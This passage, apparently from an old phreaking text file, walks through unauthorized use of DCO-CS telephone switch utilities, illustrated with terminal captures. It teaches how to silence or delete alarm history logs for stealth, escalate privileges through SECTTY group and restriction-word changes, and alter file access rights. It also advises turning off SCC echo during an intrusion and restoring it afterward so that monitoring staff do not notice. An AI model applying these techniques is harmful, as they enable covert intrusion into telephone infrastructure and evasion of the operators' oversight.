CHANGE - CHANGE ONE LOCAL OR REMOTE TERMINAL ROUTING
EXIT - EXIT OUT OF THIS OVERLAY
RRT> FUNCTION (FUNC=HELP) > DISPLAY
RRT> DATABASE (DATABASE=HELP) >
ENTER ROUTING DATABASE TYPE - LOCAL OR REMOTE
LOCAL - ROUTING OF MESSAGES VIA THE TERMINAL NUMBER OR BY SORTKEYS
REMOTE - ROUTING OF RNS/RLS-4000 MESSAGES VIA THE NODE NUMBER
RRT> DATABASE (DATABASE=HELP) > LOCAL
RRT> TYPE OF TERMINAL (TYPE=HELP) >
ENTER TERMINAL #, OUTPUT DEVICE PSEUDO NAME OR SORT KEY
THAT IS TO HAVE ITS MESSAGES REROUTED
RRT> TYPE OF TERMINAL (TYPE=HELP) > TT01
RRTUTL: INVALID TYPE ENTERED - TT01, PLEASE RE-ENTER
RRT> TYPE OF TERMINAL (TYPE=HELP) > 01
PORT 1 HAS NO FAILOVER PORT
PORT 1 HAS NO REROUTING
RRT> FUNCTION (FUNC=DISPLAY) >
RRT> DATABASE (DATABASE=LOCAL) >
RRT> TYPE OF TERMINAL (TYPE=01) > 00
PORT 0 HAS FAILOVER PORT = 1
PORT 0 REROUTE TO PORT 1
PORT 0 REROUTE TO PORT 2
RRT> FUNCTION (FUNC=DISPLAY) >
RRT> DATABASE (DATABASE=LOCAL) >
RRT> TYPE OF TERMINAL (TYPE=00) > 02
PORT 2 HAS NO FAILOVER PORT
PORT 2 HAS NO REROUTING
RRT> FUNCTION (FUNC=DISPLAY) >
RRT> DATABASE (DATABASE=LOCAL) >
RRT> TYPE OF TERMINAL (TYPE=02) > 03
PORT 3 HAS NO FAILOVER PORT
PORT 3 HAS NO REROUTING
RRT> FUNCTION (FUNC=DISPLAY) >
RRT> DATABASE (DATABASE=LOCAL) >
RRT> TYPE OF TERMINAL (TYPE=03) > 04
PORT 4 HAS NO FAILOVER PORT
PORT 4 HAS NO REROUTING
RRT> FUNCTION (FUNC=DISPLAY) > EXIT /NODIAL
As seen in the captures, messages destined to port 0 (the system master
console, TT00) will reroute to ports 1 and 2 (TT01 and TT02).
Defeating Alarm Logging with $HSTUTL-
As may be discovered through interactive use of the $AMPUTL utility,
information messages (such as notification of user login/off) and alarm
messages are distinctly categorized, although the broadcast method used for
both is identical. With the use of any hacker/inexperienced user of the
switch lies the possibility that mistakes will be made and alarms
activated. Alarms, in certain situations, may reveal an unauthorized
presence on the switch, and as such must be for purposes of stealth
silenced. Such an occurrence is highly unlikely, however, and one exploring
a DCO without authorization would be well advised to refrain from tampering
with the alarms stored on the switch as they are often diagnostically
essential to switch maintenance; the deletion of crucial alarms not yet
reviewed by maintenance would be potentially perilous indeed. In any case,
alarm messages are logged in history files stored on the disk and
accessible through $HSTUTL. These history files are classified into
numbered "controllers" based upon the type of alarms with which they are
concerned, and the "data files" of the alarm messages themselves.
Operations on controllers provide a general overview of the alarm logs
without the need to view specific, dated messages. The menu system of
HSTUTL:
$HSTUTL /NODIAL
HST> FUNCTION (FUNC=HELP) >
EXIT - EXITS HSTUTL
DISPLAY - DISPLAYS SINGLE HISTORY FILE
LIST - LISTS ALL HISTORY FILES
ADD - ADD A NEW HISTORY FILE ENTRY
DELETE - DELETE A HISTORY FILE ENTRY
CHANGE - CHANGE AN EXISTING HISTORY FILE ENTRY
BRIEF - GENERATE BRIEF HISTORY REPORT
With "DISPLAY", one may display either a controller or a data file; as per
usual, the "LIST" option will either list all controllers in output
complete with references and occurrences, or all data files associated with
a particular controller.
HST> FUNCTION (FUNC=HELP) > LIST
HST> CONTROLLER OR LOGGING (TYPE=HELP) >
EXIT - EXITS HSTUTL
CONTROLLER - HISTORICAL LOGGING CONTROLLER FILE
LOGGING - HISTORICAL LOGGING DATA FILE
HST> CONTROLLER OR LOGGING (TYPE=HELP) > CONTROLLER
CONTROL NAME REF OCCUR. MATCH TYPE
------- ---------------------------------------- ----- ------ ----------
0 SGD ALARMS 109 10 NONE
3 SYNC ALARMS 42 10 NONE
5 SWC ALARMS 74 10 NONE
6 TPP MISMATCH ALARMS 1 10 NONE
7 STATE 1 1 10 NONE
8 STATE 2 1 10 NONE
9 STATE 4 1 10 NONE
10 CBC RESTARTED/STARTUP COMPLETE 2 10 NONE
11 LSC STARTUP COMPLETE 1 10 NONE
12 FP RESTORE/STARTUP COMPLETE 3 10 NONE
13 EXTENDED NON-SYNCHRONOUS OPERATION 1 1 NONE
14 MP STARTUP COMPLETE 1 10 NONE
HST> FUNCTION (FUNC=LIST) >
HST> CONTROLLER OR LOGGING (TYPE=CONTROLLER) > LOGGING
HST> CONTROLLER NUMBER (CONT=HELP) > 0
CONTROL NAME REF OCCUR. MATCH TYPE
------- ---------------------------------------- ----- ------ ----------
0 SGD ALARMS 109 10 NONE
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
MP .0098:CMF=000,SIDE=X REFERENCE TIMING DEVIATION
DCO_CITYDATA 09-00-00 00:00:00 SWITCH TT01
CLK.0009:CMF=000,SIDE=Y MASTER CLOCK SWITCHED TO ONLINE (SGD)
With "CHANGE" one may alter a history file entry, and one may delete an
existing one with, naturally, "DELETE".
Escalation of Privileges
------------------------
In many cases it may be necessary for the unauthorized user to escalate the
privileges of a particular account to which access has been attained, or to
obtain access to the switch through another account entirely with alternate
privileges. The purposes or motives behind such an attempt at privilege
escalation may be directed at expansion of one's ability to ability to
explore the switch, or perhaps to the end of stealth itself; as has been
demonstrated previously and heretofore, the specialization of accounts may
restrict one's access to utilities necessary for concealment. Both
superficial methods and those requiring one to delve more deeply into the
heart of the switch, as it were, exist naturally to this end.
$SECTTY-
As an attempted security measure to counter the general problem of nearly
universally used defaults, it may be impossible to login with any account
other than SCAT from the dial-in ports; however, SCAT is authorized to
execute the command $SECTTY, which sets attributes such as terminal logins.
It is therefore possible to individually add users to the list of those
authorized to log in from, as an example, TT01, or to create a new user
group, assign all of the desired users/accounts to it, and authorize said
group to log in from TT01. Restricted access to the file system as well as
to certain ports and utilities is one of the primary security measures
employed by the DCO-CS to limit user access based upon necessity.
DCO>
$SECTTY
DCO_CITYDATA 08-00-00 00:00:00 SECTTY TT01
M ADM.0000: SECTTY BEGIN DIALOGUE
SEC> FUNCTION (FUNC=HELP) >
THE FOLLOWING IS A LIST OF VALID FUNCTIONS :
SETCON - SET SYSTEM CONSOLE
SETNAC - SET NAC TERMINAL
ADD - GROUP TO TERMINAL ACCESS
DELETE - GROUP FROM TERMINAL ACCESS
DISPLAY - EQUIPPED TERMINAL ACCESS RIGHTS
DEFINE - NEW GROUP NAME
REMOVE - EXISTING GROUP NAME
RESTRICTION - SET UP FUNCTION LEVEL RESTRICTION FOR GROUP
LIST - VALID GROUP NAMES
SETTYP - SET TERMINAL TYPE
SETATT - SET TERMINAL ATTRIBUTES
EXIT - EXITS SECTTY
SEC> FUNCTION (FUNC=HELP) > DISPLAY
SEC> TTY NUMBER (TTY=HELP) >
VALID TTY NUMBERS ARE:
0-31
SEC> TTY NUMBER (TTY=HELP) > 00
SECTTY - TERMINAL ACCESS RIGHTS
TTY GROUP
-------------------
0 SCAT
SEC> FUNCTION (FUNC=DISPLAY) >
SEC> TTY NUMBER (TTY=00) > 01
SECTTY - TERMINAL ACCESS RIGHTS
TTY GROUP
-------------------
1 SCAT
SEC> TTY NUMBER (TTY=4) > 3
SECTTY - TERMINAL ACCESS RIGHTS
TTY GROUP
-------------------
3 SCAT
SEC> FUNCTION (FUNC=DISPLAY) > LIST
SECTTY - VALID GROUP NAMES
GRP# GRP NAME RESTRICTION WORD
15 14 13 12 11 10 9 8 7 6 5 4 3 BXC RCO NAC
-------------------------------------------------------------
1 ADMIN 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
2 TMRS 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
3 STATUS 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
4 MAINT 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
5 SECURE 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
6 NAC 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1
7 ESPF 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
8 UNDEFINED
9 UNDEFINED
10 UNDEFINED
11 UNDEFINED
12 UNDEFINED
13 UNDEFINED
14 UNDEFINED
15 UNDEFINED
16 SCAT 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
SEC> FUNCTION (FUNC=DISPLAY) > ADD
SEC> GROUP NAME (NAME=HELP) > MAINT
SEC> TTY NUMBER (TTY=00) > 01
SECTTY: GROUP ADDED FOR TTY 1
SEC> FUNCTION (FUNC=ADD) > EXIT
Terminal access rights/privileges are defined, as seen in the captures,
through the bit configuration of a "restriction word" for each group. Group
access may also be manipulated through the modification of this word.
SEC> FUNCTION (FUNC=HELP) > RESTRICTION
SEC> GROUP NUMBER (GROUP=HELP) > 1
CURRENT RESTRICTION WORD:
GRP# GRP NAME RESTRICTION WORD
15 14 13 12 11 10 9 8 7 6 5 4 3 BXC RCO NAC
-------------------------------------------------------------
1 ADMIN 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
SEC> RESTRICTION WORD (VALUE=HELP) >
0 - 65535 ANY BIT CONFIGURATION OF WORD
SETATT allows a user to set numerous terminal options, one of which is
particularly significant as pertains to the concealment and hence
preservation of one's access.
SEC> FUNCTION (FUNC=HELP) > SETATT
SEC> TTY NUMBER (TTY=HELP) > 01
SEC> OUTPUT NULLS (NULL=YES) >
SEC> OUTPUT PRIORITY (PRIORITY=NO) >
SEC> VT RESTRICTED (VTREST=NO) >
SEC> ECHO I/O TO SCC (SCC_ECHO=NO) >
SEC> INTER CHARACTER TIMING (INTCHAR TIME=YES) >
SEC> IDLE TERMINAL LOGOFF (IDLE TIME=NO) >
SEC> PAGINATED OUTPUT (PAGOUT =NO) >
SEC> SEND EOM TO TERMINAL (EOM=YES) >
SEC> TERMINAL LIMIT (LIMIT =0) >
SCC_ECHO may be set to "YES" or "NO" depending upon the individual
configurations of different TTYs, but it should certainly be set to "NO"
during unauthorized usage-otherwise, input and output through the terminal
will be echoed to the SCC, and, due to the heavy monitoring thereof, one's
access will be likely detected quickly and terminated, at best, rather
quickly! If this was set for a particular TTY, though, an alteration of it
might be noticed soon thereafter and thought suspicious; it is therefore
advisable, if SCC_ECHO was set to "YES", to turn it off during one's
session of system use and set it back to its original state prior to
logging off. Then again, if this option was set for a single TTY, it might
be wise simply to login from another if possible, for at least a minimal
amount of preliminary I/O would be echoed to the SCC prior to deactivation
of that feature.
Exploration of the File System with $FILSYS-
The filesystem of the DCO-CS is accessible through the $FILSYS utility,
from which directories may be traversed, various forms of the disk
directory printed, access rights displayed and modified, etc. The
functions/options of FILSYS are as follows:
FIL> ENTER FUNCTION (FUNC=HELP) >
ACCESS - CHANGE ACCESS RIGHTS
ATTRIB - LIST ALL FILES W/ THE SPECIFIED ATTRIBUTE
BACKUP - BACKUP DISK
BADBLK - GET A BAD BLOCK REPORT
BLKEDT - EDIT DISK BLOCKS
COMPARE - COMPARE TWO FILES
COMPRESS - COMPRESS A DISK
COPY - COPY FILES
CP_COMPRESS - COMPRESS CP PROGRAM FILE
CWD - CHANGE WORKING DIRECTORY
DB_COMPRESS - COMPRESS CP DATABASE FILE
DELETE - DELETE FILE
DIR - DISK DIRECTORY
DSKCMP - DISK COMPARE
FDIR - FULL DISK DIRECTORY
FORMAT - FORMAT A DISK
FREE - GET FREESPACE INFORMATION FOR A DISK
HDEDIT - EDIT PROGRAM HEADER
MKDIR - MAKE A SUB-DIRECTORY
MKFS - MAKE A FILESYSTEM
MKTAPE - MAKE A DCO TAPE FILESYSTEM
FIL> ADDITIONAL HELP (MORE=YES) >
MOVE - MOVE A FILE FROM ONE DIRECTORY TO ANOTHER
RENAME - RENAME FILES
SCHEDULE - SCHEDULE DSKMGR TO RUN
SDIR - SHORT DISK DIRECTORY
SFDIR - SHORT FULL DISK DIRECTORY
TYPE - PRINT TEXT FILE CONTENTS
VOLCHG - CHANGE A VOLUME LABEL
As stated previously, the DCO-CS filesystem is divided into many
directories and sub-directories beginning with the /ROOT/ directory. The
file attributes that may be input at ATTRIB are:
FIL> ENTER ATTRIB (ATTRIB=HELP) >
ABCPSU - ABORT TASK ON CPSU
ABSWO - ABORT TASK ON A/B SWITCHOVER
CCHOFF - TASK RUNS WITH CACHE OFF
CP1SYS - SINGLE COPY ALLOWED PER SYSTEM
CP1TTY - SINGLE COPY PER TERMINAL ALLOWED
DBFILE - DATA BASE FILE
DCCNTL - UNDER DIAGNOSTIC CONTROL
INCSWO - INHIBITS MP CONTROLLED SWITCHOVER
INDSPA - TASK HAS SEPARATE I AND D SPACE
INSTLL - TASK MAY BE INSTALLED
INTACT - TASK IS INTERACTIVE
KTASK - KERNAL TASK
MEMSEG - TASK IS MEMORY RESIDENT SEGMENTED
MRDATA - MEMORY RESIDENT DATA BASE
NOABRT - DO NOT ALLOW ABORT OF TASK
NOINTS - TASK RUNS WITH INTERRUPTS OFF
NONMAN - NO MANUAL INITIATION OR ABORT ALLOWED
NOSTAT - NO PRINT IN ACT STAT LIST IF BLOCKED
QUEREQ - QUEUE REQUEST IF TASK ACTIVE
RBOABR - RE-BOOT ON ABORT
RESCED - RESCHEDULE TASK IF ABORTED
FIL> ADDITIONAL HELP (MORE=YES) >
SEGMNT - SEGMENTED TASK
SGUMAP - UNMAP UNUSED MEMORY AFTER SEGMENT LOAD
SHRMEM - SHARE MEMORY IF TASK ACTIVE
STKCON - ALLOCATE STACK CONTIGUOUS TO PROGRAM
STKHI - ALLOCATE STACK FROM UPPER PAR AVAILABLE
Blocks of memory on the disk may be manually edited with BLKEDT (the
$MEMMAP utility displays block numbers, types, sizes, and names):
FIL> ENTER DEVICE (DEVICE=HELP) > SY
FIL> ENTER BLOCK (BLOCK=HELP) >
VALID BLOCKS ARE OCTAL NUMBERS FROM
0 TO THE MAXIMUM FOR THIS DEVICE.
FIL> ENTER BLOCK (BLOCK=HELP) > 0
LOCATION: 000000 000002 000004 000006 000010 000012 000014 000016
VALUE: 000240 000402 000042 000340 106427 000340 010167 000602
FIL> NEW VALUE: HELP
ADV - ADVANCE TO NEXT 8 WORDS OF BLOCK
BCK - BACKUP TO PREVIOUS 8 WORDS OF BLOCK
EXIT - EXIT BLKEDT WITHOUT DISK UPDATE
DONE - DONE, UPDATE BLOCK TO DISK
OCTAL NUMBERS RANGING FROM 0 TO 177777
DIR, FDIR, SDIR, and SFDIR all display in some fashion the disk directory.
DIR displays the components of the directory in the following format:
FIL> ENTER FUNCTION (FUNC=HELP) > DIR
FIL> ENTER FILENAME (FILE=HELP) >
ANY FILENAME
FIL> ENTER FILENAME (FILE=HELP) > /
FILENAME TYPE CREATION DATE LAST CHANGE FILE SIZE PRIO A HDRADDR
/ROOT/
BITMAP FRSP
AMPPAT DIR 03-00-00 00:00:00 03-00-00 00:00:00 000000220 0000 0 00XXXXXX
/ROOT/AMPPAT/
T0000_RES P/D 03-00-00 00:00:00 03-00-00 00:00:00 000000002 0000 0 00XXXXXX
P0054_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000367 0000 0 00XXXXXX
P0068_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000306 0000 0 00XXXXXX
P0070_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000764 0000 0 00XXXXXX
P0119_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000002501 0000 0 00XXXXXX
The filename, file type, creation date, date of last change, file size,
priority, and address on the hard disk are displayed. The two file types
are DIR (directory) and P/D (program, .txt file, .dat file, etc.). FDIR
(Full Disk Directory) displays a few more aspects of files examined:
FIL> ENTER FUNCTION (FUNC=DIR) > FDIR
FIL> ENTER FILENAME (FILE=ROOT/) >
FILENAME TYPE CREATION DATE LAST CHANGE FILE SIZE PRIO A HDRADDR
/ROOT/
BITMAP FRSP
AMPPAT DIR 03-00-00 00:00:00 03-00-00 00:00:00 000000220 0000 0 00XXXXXX
ACCESS - (MAINT ,RWX)
EXTENTS - 71(1.)
/ROOT/AMPPAT/
T0000_RES P/D 03-00-00 00:00:00 03-00-00 00:00:00 000000001 0000 0 00XXXXXX
ACCESS - (MAINT ,RWX)
EXTENTS - 14304(1.)
P0054_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000376 0000 0 00XXXXXX
ACCESS - (ADMIN ,RW),(TMRS ,RW),(STATUS,RW),(MAINT ,RW)
(SECURE,RW),(NAC ,RW),(ESPF,RW)
EXTENTS - 212753(5.)
In addition to the attributes displayed with DIR, with FDIR the access
rights and extents of the files are displayed. Access rights are displayed
in the format (GROUP, ABC) where ABC is populated with R (read), W (write),
and/or X (execute). SDIR will only display subdirectories within the
directory initially given (if a directory is initially provided) in the
minimal DIR format. If a subdirectory containing P/D files is entered, the
attributes of those files will be printed in the single-line minimal format
as well. SFDIR will display the directories in the "full format" (with
access and extents) before the P/D files, as does SDIR. Access rights are
modified through ACCESS:
FIL> ENTER FUNCTION (FUNC=HELP) > ACCESS
FIL> ENTER FILENAME (FILE=HELP) > FILENAME
FIL> ENTER FUNCTION (FUNCTION=HELP) >
ADD - ADD ACCESS RIGHTS
DELETE - DELETE ACCESS RIGHTS
LIST - LIST ACCESS RIGHTS
FIL> ENTER FUNCTION (FUNCTION=HELP) > LIST
GROUP RIGHTS
----- ------
ADMIN R
TMRS R
STATUS R
MAINT R
SECURE R
NAC R
ESPF R
SCAT RW
FIL> ENTER FUNCTION (FUNCTION=LIST) > ADD
FIL> GROUP (GROUP=HELP) >
ENTER ANY OF THE FOLLOWING GROUP NAMES
ADMIN
TMRS
STATUS
MAINT
SECURE
NAC
ESPF
SPARE1
SPARE2
SPARE3
SPARE4
SPARE5
SPARE6
SPARE7
SPARE8
SCAT
DONE - UPDATE FILE ACCESS RIGHTS ON DISK
The setting of access rights through FILSYS will alter the access rights
stored in the file PTL.TXT, which may also be modified alternately and
directly as discussed in the next section.
PTL Modification-
To comprehend this concealment technique it is necessary to possess an
understanding of the derivation of access rights in the file system.
Occasionally (or often, depending upon the utilities used and the account
logged on) the curious hacker/phreak will find that the "INSUFFICENT ACCESS
RIGHTS" message will be displayed at attempts to invoke particular
programs/utilities or to view certain files. Even using the disk directory
options/functions of the $FILSYS utility it will be observed that
information for certain files is irretrievable due to insufficient access.
The inevitable question then arises as to where all of these access rights
are defined. Rewarded is the hacker who considers this sort of question-the
context of DCO exploration is no exception. Access rights and many other
attributes are defined and stored in an ASCII text file named PTL.TXT,
(access rights are merely a tertiary option) in the /ROOT/ directory,
appropriately entitled the Prioritized Task List-the PTL is the very heart
of the filesystem on a DCO-CS. At the beginning of the PTL all options and
the format of entries are explained: